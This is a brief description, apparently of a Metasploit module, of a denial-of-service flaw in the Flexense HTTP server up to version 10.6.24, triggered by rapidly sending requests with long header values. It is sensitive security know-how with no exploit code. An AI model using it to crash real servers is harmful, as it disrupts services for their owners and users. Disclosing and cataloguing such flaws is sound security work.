This Metasploit module triggers a denial of service vulnerability in the Flexense HTTP server. The vulnerability is caused by a user mode write access memory violation and can be triggered with rapidly sending a variety of HTTP requests with long HTTP header values. Multiple Flexense applications that are using Flexense HTTP server versions 10.6.24 and below are vulnerable.
